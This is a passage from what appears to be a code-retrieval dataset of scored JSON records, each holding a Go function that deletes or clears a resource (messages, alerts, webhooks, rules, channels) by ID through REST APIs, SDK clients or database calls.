handleError(b)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "08e7a050c87286e08e83c59d2f3b482f", "score": "0.50142443", "text": "func (mc *MessageController) DeleteMessageByID(response http.ResponseWriter, request *http.Request) {\n\t// swagger:operation DELETE /messages/{id} messages deleteMessage\n\t//\n\t// Delete a message by id\n\t// ---\n\t// consumes:\n\t// - application/json\n\t// produces:\n\t// - application/json\n\t// parameters:\n\t// - name: id\n\t// in: path\n\t// description: id of message to be deleted.\n\t// required: true\n\t// type: string\n\t// responses:\n\t// '204':\n\t// description: No Content\n\t// '404':\n\t// description: Not Found\n\t// '500':\n\t// description: Internal Server Error\n\tresponse.Header().Set(\"content-type\", \"application/json\")\n\tparams := mux.Vars(request)\n\terr := mc.repository.DeleteMessageByID(request.Context(), params[\"id\"])\n\tif err != nil {\n\t\tif err == persistence.ErrorNotFound {\n\t\t\tresponse.WriteHeader(http.StatusNotFound)\n\t\t} else {\n\t\t\tresponse.WriteHeader(http.StatusInternalServerError)\n\t\t\tjson.NewEncoder(response).Encode(modelCommon.ErrorResponse{Message: err.Error()})\n\t\t\tlog.WithError(err).Debug(\"Could not delete message\")\n\t\t}\n\t\treturn\n\t}\n\tresponse.WriteHeader(http.StatusNoContent)\n}", "title": "" }, { "docid": "a71976cb9ca66c5de6043661e5e0137f", "score": "0.50050956", "text": "func (to *Session) DeleteUserByID(id int) (tc.Alerts, ReqInf, error) {\n\troute := apiBase + \"/users/\" + strconv.Itoa(id)\n\tresp, remoteAddr, err := to.request(http.MethodDelete, route, nil)\n\treqInf := ReqInf{CacheHitStatus: CacheHitStatusMiss, RemoteAddr: remoteAddr}\n\tif err != nil {\n\t\treturn tc.Alerts{}, reqInf, err\n\t}\n\tdefer resp.Body.Close()\n\tvar alerts tc.Alerts\n\terr = json.NewDecoder(resp.Body).Decode(&alerts)\n\treturn alerts, reqInf, nil\n}", "title": "" }, { "docid": "7b545e2bd919d54735c1d6b6eda6b34d", "score": "0.49976006", "text": "func (c *Glacier) DeleteVaultNotifications(req *DeleteVaultNotificationsInput) (err error) {\n\t// NRE\n\n\tvar body io.Reader\n\tvar contentType string\n\n\turi := c.client.Endpoint + \"/{accountId}/vaults/{vaultName}/notification-configuration\"\n\n\tif req.AccountID != nil {\n\t\turi = strings.Replace(uri, \"{\"+\"accountId\"+\"}\", aws.EscapePath(*req.AccountID), -1)\n\t\turi = strings.Replace(uri, \"{\"+\"accountId+\"+\"}\", aws.EscapePath(*req.AccountID), -1)\n\t}\n\n\tif req.VaultName != nil {\n\t\turi = strings.Replace(uri, \"{\"+\"vaultName\"+\"}\", aws.EscapePath(*req.VaultName), -1)\n\t\turi = strings.Replace(uri, \"{\"+\"vaultName+\"+\"}\", aws.EscapePath(*req.VaultName), -1)\n\t}\n\n\tq := url.Values{}\n\n\tif len(q) > 0 {\n\t\turi += \"?\" + q.Encode()\n\t}\n\n\thttpReq, err := http.NewRequest(\"DELETE\", uri, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif contentType != \"\" {\n\t\thttpReq.Header.Set(\"Content-Type\", contentType)\n\t}\n\n\thttpResp, err := c.client.Do(httpReq)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tdefer httpResp.Body.Close()\n\n\treturn\n}", "title": "" }, { "docid": "d980691910387cd49407be46796f216f", "score": "0.49975553", "text": "func deleteWebhookID(w http.ResponseWriter, r *http.Request) {\n\tid := chi.URLParam(r, \"webhook_id\")\n\tif webhook, err := paragliding.GlobalDB.DeleteWebhook(id); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t} else {\n\t\trender.JSON(w, r, webhook)\n\t}\n}", "title": "" }, { "docid": "2b8800bdb93abe71c5f6062813d797c5", "score": "0.49925867", "text": "func ExampleMetricAlertsClient_Delete() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armmonitor.NewClientFactory(\"<subscription-id>\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\t_, err = clientFactory.NewMetricAlertsClient().Delete(ctx, \"gigtest\", \"chiricutin\", nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to finish the request: %v\", err)\n\t}\n}", "title": "" }, { "docid": "b793d4ea1137645e7458a63fd957c17d", "score": "0.49872494", "text": "func (c *Client) UpdateAlertNotificationID(ctx context.Context, an AlertNotification, id uint) error {\n\tvar (\n\t\traw []byte\n\t\tcode int\n\t\terr error\n\t)\n\tif raw, err = json.Marshal(an); err != nil {\n\t\treturn err\n\t}\n\tif raw, code, err = c.put(ctx, fmt.Sprintf(\"api/alert-notifications/%d\", id), nil, raw); err != nil {\n\t\treturn err\n\t}\n\tif code != 200 {\n\t\treturn fmt.Errorf(\"HTTP error %d: returns %s\", code, raw)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7fbbf27ee8ab29391885966a4bc2a920", "score": "0.4986361", "text": "func (c *Client) Delete(id int) error {\n\tctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeOutInSeconds)*time.Second)\n\tdefer cancel()\n\n\tu, err := url.Parse(c.Address)\n\tif err != nil {\n\t\tc.Logger.Debug().Err(err).Msg(\"Failed to parse address\")\n\t\treturn err\n\t}\n\tu.Path = path.Join(u.Path, repositoryURI, strconv.Itoa(id))\n\tcode, err := c.Handler.MakeRequest(ctx, http.MethodDelete, u.String())\n\tif err != nil {\n\t\tc.Logger.Debug().Err(err).Int(\"code\", code).Msg(\"Failed to get result.\")\n\t\treturn err\n\t}\n\tif code > 299 || code < 200 {\n\t\tc.Logger.Error().Str(\"url\", u.String()).Int(\"code\", code).Msg(\"Return code was not OK\")\n\t\treturn fmt.Errorf(\"return code was not OK %d\", code)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "27e8c9788430a03a0659035c06c98f60", "score": "0.49823606", "text": "func (c *ClusterClient) EraseAlert(resource api.ResourceType, alertID int64) error {\n\tpath := clusterPath + \"/alerts/\" + strconv.FormatInt(int64(resource), 10) + \"/\" + strconv.FormatInt(alertID, 10)\n\trequest := c.c.Delete().Resource(path)\n\tresp := request.Do()\n\tif resp.Error() != nil {\n\t\treturn resp.FormatError()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "dd3c51d081f50422b19f5fbd9e92acfe", "score": "0.4982317", "text": "func (client *Client) DeleteStreamAlertConditionContext(\n\tctx context.Context, streamID, id string,\n) (*ErrorInfo, error) {\n\terrMsg := \"failed to delete an alert condition\"\n\tif streamID == \"\" {\n\t\treturn nil, fmt.Errorf(\"%s: stream id is empty\", errMsg)\n\t}\n\tif id == \"\" {\n\t\treturn nil, fmt.Errorf(\"%s: alert condition id is empty\", errMsg)\n\t}\n\tu, err := client.Endpoints().StreamAlertCondition(streamID, id)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, errMsg)\n\t}\n\treturn client.callDelete(ctx, u.String(), nil, nil)\n}", "title": "" }, { "docid": "f0d3bdf344e61795c44cf624b37ec4bb", "score": "0.49447423", "text": "func (client *Client) ChannelDeleteWithID(ID string, version int) (result *Channel, err error) {\n\tparams := url.Values{}\n\tparams.Set(\"version\", strconv.Itoa(version))\n\n\terr = client.Delete(strings.Replace(\"channels/{ID}\", \"{ID}\", ID, 1), params, &result)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "c0524ef5a7907e8e6320deaef9dcd79a", "score": "0.4930322", "text": "func (c *ReactionsClient) Delete(ctx context.Context, id string) (*ReactionResponse, error) {\n\tendpoint := c.client.makeEndpoint(\"reaction/%s/\", id)\n\n\treturn c.decode(c.client.delete(ctx, endpoint, nil, c.client.authenticator.reactionsAuth))\n}", "title": "" }, { "docid": "c4ae3bfcf9d41bd97562bd55c2ff2993", "score": "0.49224585", "text": "func (s *dnsRecordServiceImpl) Delete(id int) error {\n\tfmt.Println(getDNSRecordPath(id))\n\tresp, err := s.client.delete(getDNSRecordPath(id))\n\tif 204 != resp.StatusCode {\n\t\treturn &UnexpectedHTTPStatusError{\n\t\t\tExpected: 204,\n\t\t\tGot: resp.StatusCode,\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "cc5484af0d545e8cb7e22daa55a1d19f", "score": "0.49202445", "text": "func (a *MessageRepliesApiService) DELETEMessageRepliesIdJson(ctx _context.Context, id string) ApiDELETEMessageRepliesIdJsonRequest {\n\treturn ApiDELETEMessageRepliesIdJsonRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tid: id,\n\t}\n}", "title": "" }, { "docid": "130485c6f4f63986bca3a93031641fbf", "score": "0.49081856", "text": "func DeleteMessage(id int) error {\n\t_, pos, err := getMessage(id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tremoveMessage(pos)\n\treturn nil\n}", "title": "" }, { "docid": "ff6fabeed06d17bf69bf6f2b51095a54", "score": "0.4907732", "text": "func (ml *msgListenerV2) Delete(mailbox string, id string) error {\n\tif ml.mailbox != \"\" && ml.mailbox != mailbox {\n\t\t// Did not match watched mailbox name.\n\t\treturn nil\n\t}\n\n\t// Enqueue for websocket.\n\tml.c <- &model.JSONMonitorEventV2{\n\t\tVariant: \"message-deleted\",\n\t\tIdentifier: &model.JSONMessageIDV2{\n\t\t\tMailbox: mailbox,\n\t\t\tID: id,\n\t\t},\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "6e9fce14492101e459aee56c52736c35", "score": "0.4905473", "text": "func (c *Client) RemoveAlert(in RemoveAlertInput) error {\n return call(c.URL, \"remove_alert\", in, nil)\n}", "title": "" }, { "docid": "23e17d81b30f8b80967d244bd7b42d6d", "score": "0.49011046", "text": "func (zc ZabbixClient) RemoveAlert(name string) error {\n\n\titemParams := zabbix.Params{\n\t\t\"host\": zc.Host,\n\t}\n\n\titems, err := zc.API.ItemsGet(itemParams)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, item := range items {\n\t\tif item.Name != name {\n\t\t\tcontinue\n\t\t}\n\n\t\ttriggerParams := zabbix.Params{\n\t\t\t\"host\": zc.Host,\n\t\t\t\"itemids\": []string{item.ItemId},\n\t\t}\n\n\t\ttriggers, err := zc.API.TriggersGet(triggerParams)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif len(triggers) != 1 {\n\t\t\treturn fmt.Errorf(\"Found %d trigger(s) for %q, expected 1\", len(triggers), item.Name)\n\t\t}\n\n\t\tfmt.Printf(\"Remove zabbix trigger %q\\n\", name)\n\n\t\terr = zc.API.TriggersDelete(zabbix.Triggers{triggers[0]})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfmt.Printf(\"Remove zabbix item %q\\n\", name)\n\n\t\terr = zc.API.ItemsDelete(zabbix.Items{item})\n\n\t\treturn err\n\t}\n\n\treturn fmt.Errorf(\"Item %q not found\", name)\n}", "title": "" }, { "docid": "b378e7426b475662f05b579ca744f474", "score": "0.48898402", "text": "func DeleteWithToken(ctx context.Context, id, token string) error {\n\te := endpoint.DeleteWebhookWithToken(id, token)\n\tresp, err := rest.Do(ctx, e, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusNoContent {\n\t\treturn discord.NewAPIError(resp)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d8ff9244154b0c736d82537eddee3b38", "score": "0.48893836", "text": "func (a *NotificationActivity) DeleteWithContentId(contentIds ...int64) error {\n\n\treturn a.deleteWithContentId(contentIds...)\n}", "title": "" }, { "docid": "9d5e732638162b6fe28c0941d91eede3", "score": "0.4873255", "text": "func (r *FuseApiClientImpl) DeleteIntegration(id string) error {\n\turl := fmt.Sprintf(fuseApiDeleteIntegrationUrl, r.host, id)\n\n\treq, err := http.NewRequest(http.MethodDelete, url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// The fuse API expects this, otherwise a 403 is returned because of a missing\n\t// csrf token\n\treq.Header.Set(\"SYNDESIS-XSRF-TOKEN\", \"awesome\")\n\tresp, err := r.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusNoContent {\n\t\treturn errors.New(fmt.Sprintf(\"error deleting fuse integration, expected status 204 but received %v\", resp.StatusCode))\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "96c9b8d48cdc8dac5924e1235f330aea", "score": "0.48720276", "text": "func (o *Notice) Delete(ctx context.Context, exec boil.ContextExecutor) (int64, error) {\n\tif o == nil {\n\t\treturn 0, errors.New(\"models: no Notice provided for delete\")\n\t}\n\n\tif err := o.doBeforeDeleteHooks(ctx, exec); err != nil {\n\t\treturn 0, err\n\t}\n\n\targs := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), noticePrimaryKeyMapping)\n\tsql := \"DELETE FROM \\\"notices\\\" WHERE \\\"id\\\"=?\"\n\n\tif boil.IsDebug(ctx) {\n\t\twriter := boil.DebugWriterFrom(ctx)\n\t\tfmt.Fprintln(writer, sql)\n\t\tfmt.Fprintln(writer, args...)\n\t}\n\tresult, err := exec.ExecContext(ctx, sql, args...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: unable to delete from notices\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: failed to get rows affected by delete for notices\")\n\t}\n\n\tif err := o.doAfterDeleteHooks(ctx, exec); err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn rowsAff, nil\n}", "title": "" }, { "docid": "2b44c9c201869c5e974d17686e522b1e", "score": "0.4861213", "text": "func DeleteChart(c echo.Context) error {\n\tchartID := c.Param(\"chartId\")\n\n\terrID := validateID(chartID)\n\tif errID != nil {\n\t\treturn errID.Handle(c)\n\t}\n\n\tdeleted, err := storage.Delete(resource, chartID)\n\tif err != nil {\n\t\treturn model.ApiError{\"An internal error occurred while deleting the chart\", http.StatusInternalServerError}.Handle(c)\n\t}\n\n\tif deleted {\n\t\treturn model.ApiResponse{fmt.Sprintf(\"Chart `%s` was successfully deleted\", chartID)}.Handle(c)\n\t}\n\n\treturn model.ApiError{fmt.Sprintf(\"Chart `%s` does not exist\", chartID), http.StatusNotFound}.Handle(c)\n}", "title": "" }, { "docid": "3c029f2541beef99786a06cab56915c2", "score": "0.48512378", "text": "func WarningTriggersDelete(env *models.Env, w http.ResponseWriter, r *http.Request) *AppError {\n\tvars := mux.Vars(r)\n\tid, err := strconv.Atoi(vars[\"id\"])\n\tif err != nil {\n\t\treturn &AppError{err, \"Error parsing warning trigger id\", http.StatusInternalServerError}\n\t}\n\n\terr = env.DB.DeleteWarningTriggerWithId(id)\n\tif err != nil {\n\t\treturn &AppError{err, \"Error deleting warning trigger\", http.StatusInternalServerError}\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\treturn nil\n}", "title": "" }, { "docid": "39e19d9276995c66792d4e125adf60b8", "score": "0.4846704", "text": "func (a *Client) DeleteRestapiV10AccountAccountIDExtensionExtensionIDCallLog(params *DeleteRestapiV10AccountAccountIDExtensionExtensionIDCallLogParams, authInfo runtime.ClientAuthInfoWriter) error {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewDeleteRestapiV10AccountAccountIDExtensionExtensionIDCallLogParams()\n\t}\n\n\t_, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"DeleteRestapiV10AccountAccountIDExtensionExtensionIDCallLog\",\n\t\tMethod: \"DELETE\",\n\t\tPathPattern: \"/restapi/v1.0/account/{accountId}/extension/{extensionId}/call-log\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &DeleteRestapiV10AccountAccountIDExtensionExtensionIDCallLogReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n\n}", "title": "" }, { "docid": "062092d241373a6de52abf047e28d5f1", "score": "0.48411041", "text": "func (c *Client) DeleteAlertPluginsCondition(policyID, id int) error {\n\tu := &url.URL{Path: fmt.Sprintf(\"/alerts_plugins_conditions/%v.json\", id)}\n\t_, err := c.Do(\"DELETE\", u.String(), nil, nil)\n\treturn err\n}", "title": "" }, { "docid": "d5e146be0584be3d57465021c2242cf0", "score": "0.482881", "text": "func (u User) DeleteNotificationsWithIDs(r *http.Request, db *sql.DB, ids []string, credentials string) error {\n\tfor _, UUID := range ids {\n\t\t// language=PostgreSQL\n\t\t_, err := tdb.Exec(r, db, `DELETE FROM notifications\n\t\tWHERE credentials = $1\n\t\tAND UUID = $2`, crypt.Hash(credentials), UUID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "39216aaa73f5a92911e916ca23ecbeb1", "score": "0.481124", "text": "func DeleteRule(t *testing.T, client *gophercloud.ServiceClient, ruleID string) {\n\tt.Logf(\"Attempting to delete rule: %s\", ruleID)\n\n\terr := rules.Delete(client, ruleID).ExtractErr()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to delete rule %s: %v\", ruleID, err)\n\t}\n\n\tt.Logf(\"Deleted rule: %s\", ruleID)\n}", "title": "" }, { "docid": "39216aaa73f5a92911e916ca23ecbeb1", "score": "0.481124", "text": "func DeleteRule(t *testing.T, client *gophercloud.ServiceClient, ruleID string) {\n\tt.Logf(\"Attempting to delete rule: %s\", ruleID)\n\n\terr := rules.Delete(client, ruleID).ExtractErr()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to delete rule %s: %v\", ruleID, err)\n\t}\n\n\tt.Logf(\"Deleted rule: %s\", ruleID)\n}", "title": "" }, { "docid": "4642a74d2416321b23538421ca6ba3b0", "score": "0.48099583", "text": "func (repository CategoryRepository) Delete(id string) error {\n\trepository.initContext()\n\tdefer repository.context.Close()\n\n\tif !bson.IsObjectIdHex(id) {\n\t\treturn errors.New(dbConstantes.ErrorDatabaseInvalidID)\n\t}\n\n\treturn repository.c.RemoveId(bson.ObjectIdHex(id))\n}", "title": "" }, { "docid": "362a877ba69aa058deefc794bed4bbda", "score": "0.48007554", "text": "func (a *LegacyAuthorizationsApiService) DeleteLegacyAuthorizationsID(ctx _context.Context, authID string) ApiDeleteLegacyAuthorizationsIDRequest {\n\treturn ApiDeleteLegacyAuthorizationsIDRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tauthID: authID,\n\t}\n}", "title": "" }, { "docid": "7f6e1ad4585b57c5834175a636dd0ef4", "score": "0.47968575", "text": "func (a *Client) DeleteIPIPGameIPOnGameRuleID(params *DeleteIPIPGameIPOnGameRuleIDParams, authInfo runtime.ClientAuthInfoWriter) (*DeleteIPIPGameIPOnGameRuleIDOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewDeleteIPIPGameIPOnGameRuleIDParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"DeleteIPIPGameIPOnGameRuleID\",\n\t\tMethod: \"DELETE\",\n\t\tPathPattern: \"/ip/{ip}/game/{ipOnGame}/rule/{id}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &DeleteIPIPGameIPOnGameRuleIDReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*DeleteIPIPGameIPOnGameRuleIDOK), nil\n\n}", "title": "" }, { "docid": "f4f936f0681551a31913940756eaa58e", "score": "0.4791564", "text": "func (s Server) DeleteTrigger(writer http.ResponseWriter, request *http.Request) {\n\tid, found := mux.Vars(request)[\"id\"]\n\tif !found {\n\t\tresponses.SendError(writer, \"Trigger ID needs to be specified\")\n\t\treturn\n\t}\n\n\ts.Splunk.LogAction(\"DeleteTrigger\", \"tester\", id)\n\terr := s.Storage.DeleteTriggerByID(id)\n\tif _, ok := err.(*storage.ItemNotFoundError); ok {\n\t\tresponses.Send(\n\t\t\thttp.StatusNotFound,\n\t\t\twriter,\n\t\t\tresponses.BuildOkResponse(),\n\t\t)\n\t} else if err != nil {\n\t\tresponses.Send(http.StatusInternalServerError, writer, err.Error())\n\t} else {\n\t\tresponses.SendResponse(writer, responses.BuildOkResponse())\n\t}\n}", "title": "" }, { "docid": "0e007500be52988cf9a162e986c96a5c", "score": "0.47889417", "text": "func (e Endpoints) Delete(ctx context.Context, id string) (error error) {\n\trequest := DeleteRequest{Id: id}\n\tresponse, err := e.DeleteEndpoint(ctx, request)\n\tif err != nil {\n\t\treturn\n\t}\n\treturn response.(DeleteResponse).Error\n}", "title": "" }, { "docid": "0c6fbd1ee7b115efcf3082f267ecd67a", "score": "0.47810963", "text": "func (o *GenericNotificationPayload) SetNotificationId(v string) {\n\to.NotificationId = &v\n}", "title": "" }, { "docid": "70327cb21a6a92ca9aabc0872600c49c", "score": "0.47774154", "text": "func (r *Repository) DeleteMessage(id int) error {\n\t// Might use soft deletes depending on the business use case\n\t_, err := r.db.Exec(\n\t\t\"DELETE FROM messages WHERE id = $1\",\n\t\tid,\n\t)\n\n\treturn err\n}", "title": "" }, { "docid": "6a327f9e0997fb5d9a066fcefc184fb1", "score": "0.47767645", "text": "func (gs *ReminderService) Delete(\n\tr *http.Request, req *ReminderIdReq, _ *endpoints.VoidMessage) error {\n\n\tc := endpoints.NewContext(r)\n\tkey, err := datastore.DecodeKey(req.Id)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn datastore.Delete(c, key)\n}", "title": "" }, { "docid": "769fde813a363acb183f89c2e564104b", "score": "0.47751117", "text": "func (c *Conn) Delete(id uint64) error {\n\tr, err := c.cmd(nil, nil, nil, \"delete\", id)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = c.readResp(r, false, \"DELETED\")\n\treturn err\n}", "title": "" }, { "docid": "365cd2de43ade1098f4a8671fb1e97a3", "score": "0.47744286", "text": "func Delete(DB *sql.DB, id string) (string, int, error) {\n\t_, result, code, err := ByID(DB, id)\n\tif code != status.OK {\n\t\treturn result, code, err\n\t}\n\tquery := \"DELETE FROM Note WHERE NOTE_ID = ?\"\n\t_, err = DB.Exec(query, id)\n\tif err != nil {\n\t\treturn deletionErr, status.ServerError, oops.T(err)\n\t}\n\treturn success, status.DeletedSuccess, err\n}", "title": "" }, { "docid": "8ea9642c570650d7b74d2bdd4c49921a", "score": "0.47742665", "text": "func (c *Client) DeleteImLivechatReportChannel(id int64) error {\n\treturn c.DeleteImLivechatReportChannels([]int64{id})\n}", "title": "" }, { "docid": "63f93d21d597953152f6da610fab3afb", "score": "0.475166", "text": "func (c *ClusterClient) ClearAlert(resource api.ResourceType, alertID int64) error {\n\tpath := clusterPath + \"/alerts/\" + strconv.FormatInt(int64(resource), 10) + \"/\" + strconv.FormatInt(alertID, 10)\n\trequest := c.c.Put().Resource(path)\n\tresp := request.Do()\n\tif resp.Error() != nil {\n\t\treturn resp.FormatError()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7dad59064df671a801cc9c038ce7d31c", "score": "0.47485977", "text": "func (store *Storage) Delete(id string) error {\n\tstore.rw.Lock()\n\tdefer store.rw.Unlock()\n\n\tvar copy []*insightV1.LogMessage\n\n\tfor _, msg := range store.messages {\n\t\tif msg.Id != id {\n\t\t\tcopy = append(copy, msg)\n\t\t}\n\t}\n\n\tstore.messages = copy\n\treturn nil\n}", "title": "" }, { "docid": "ab3a648aa6b7fce4757d313408ee667a", "score": "0.47329378", "text": "func (dbc *DatabaseCfg) GetAlertIDCfgAffectOnDel(id string) ([]*DbObjAction, error) {\n\t//var devices []*AlertIDCfg\n\tvar obj []*DbObjAction\n\n\treturn obj, nil\n}", "title": "" }, { "docid": "e9e5b279934255553cbf76a4a0b3eb6c", "score": "0.4732422", "text": "func (client BaseClient) DeleteAttachment(ctx context.Context, drawer int32, ID int32) (result SetObject, err error) {\n req, err := client.DeleteAttachmentPreparer(ctx, drawer, ID)\n if err != nil {\n err = autorest.NewErrorWithError(err, \"softheonenterpriseapiclient.BaseClient\", \"DeleteAttachment\", nil , \"Failure preparing request\")\n return\n }\n\n resp, err := client.DeleteAttachmentSender(req)\n if err != nil {\n result.Response = autorest.Response{Response: resp}\n err = autorest.NewErrorWithError(err, \"softheonenterpriseapiclient.BaseClient\", \"DeleteAttachment\", resp, \"Failure sending request\")\n return\n }\n\n result, err = client.DeleteAttachmentResponder(resp)\n if err != nil {\n err = autorest.NewErrorWithError(err, \"softheonenterpriseapiclient.BaseClient\", \"DeleteAttachment\", resp, \"Failure responding to request\")\n }\n\n return\n }", "title": "" }, { "docid": "c1254f55d366ba5c4b614264ea26b812", "score": "0.47269046", "text": "func (a *Client) DeleteVariableByIDUsingDELETE(params *DeleteVariableByIDUsingDELETEParams, opts ...ClientOption) (*DeleteVariableByIDUsingDELETEOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewDeleteVariableByIDUsingDELETEParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"deleteVariableByIdUsingDELETE\",\n\t\tMethod: \"DELETE\",\n\t\tPathPattern: \"/codestream/api/variables/{id}\",\n\t\tProducesMediaTypes: []string{\"*/*\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &DeleteVariableByIDUsingDELETEReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*DeleteVariableByIDUsingDELETEOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for deleteVariableByIdUsingDELETE: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "title": "" }, { "docid": "bf804dda4cc45cb758c8703cd0ba430e", "score": "0.47228932", "text": "func (o *AlertValueWidgetDefinition) SetAlertId(v string) {\n\to.AlertId = v\n}", "title": "" }, { "docid": "015209403455f43a8f596693301f0962", "score": "0.4716804", "text": "func NewDeleteGerritTriggerByIDUsingDELETEUnauthorized() *DeleteGerritTriggerByIDUsingDELETEUnauthorized {\n\treturn &DeleteGerritTriggerByIDUsingDELETEUnauthorized{}\n}", "title": "" }, { "docid": "990fa6c61dc770f9116d761c854c4e24", "score": "0.47165242", "text": "func (s *server) Delete(ctx context.Context, id string) error {\n\treq, err := s.client.NewRequest(ctx, http.MethodDelete, serverServiceName, serverBasePath+\"/\"+id, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := s.client.Do(ctx, req)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, _ = io.Copy(ioutil.Discard, resp.Body)\n\treturn resp.Body.Close()\n}", "title": "" }, { "docid": "9925ae28b0724cd503876923e74c45b7", "score": "0.47155914", "text": "func RemoveNotification(id uint) error {\n\tcmd := exec.Command(\"termux-notification-remove\", fmt.Sprintf(\"%d\", id))\n\treturn cmd.Run()\n}", "title": "" }, { "docid": "81b987030b3d1298f66d86490669c7f5", "score": "0.47129202", "text": "func (c *AlertClient) Delete() *AlertDelete {\n\treturn &AlertDelete{config: c.config}\n}", "title": "" }, { "docid": "ac1fcb14fe434beb243bcd59c4640fe0", "score": "0.47087544", "text": "func (a *AlertGraphWidget) SetAlertId(v int) {\n\ta.AlertId = &v\n}", "title": "" }, { "docid": "7a0e477304ff0925c2163a73df54aab2", "score": "0.47083074", "text": "func (c Channel) Delete(w http.ResponseWriter, r *http.Request) error {\n\t// delete and get the deleted channel\n\tchannel, e := c.channels.DeleteID(r.Context(), uf.GetParam(r, \"id\"))\n\n\tif e != nil {\n\t\tif are_hub.IsNoObjectsFound(e) {\n\t\t\treturn uf.NotFound(e.Error())\n\t\t}\n\n\t\treturn e\n\t}\n\n\t// return the deleted channel\n\treturn uf.SendJSON(w, channel)\n}", "title": "" }, { "docid": "cd3e69efb426ca1ebb8e2cbea48a9867", "score": "0.4705465", "text": "func (pr *TrustDomainResource) Delete(id string) error {\n\tif err := pr.c.ModQuery(\"DELETE\", BasePath+TrustDomainEndpoint+\"/\"+id, nil); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "af0cb8a1246659202959394cd12c7fde", "score": "0.4704028", "text": "func (db *MySQLDB) DeleteID(id int64) (Reminder, error) {\n\tr := Reminder{}\n\tvar err error\n\tif err = db.db.First(&r, id).Error; err != nil {\n\t\treturn r, err\n\t}\n\tif err = db.db.Delete(r).Error; err != nil {\n\t\tr = Reminder{}\n\t}\n\treturn r, err\n}", "title": "" }, { "docid": "bfcca4c3d3190d9bca94d4be1a536b6c", "score": "0.47000235", "text": "func (a *AlertValueWidget) SetAlertId(v int) {\n\ta.AlertId = &v\n}", "title": "" }, { "docid": "2876ae1a1c515d62838dbb6ed660aeb1", "score": "0.46961617", "text": "func (c *Client) DeleteImLivechatChannelRule(id int64) error {\n\treturn c.DeleteImLivechatChannelRules([]int64{id})\n}", "title": "" } ]
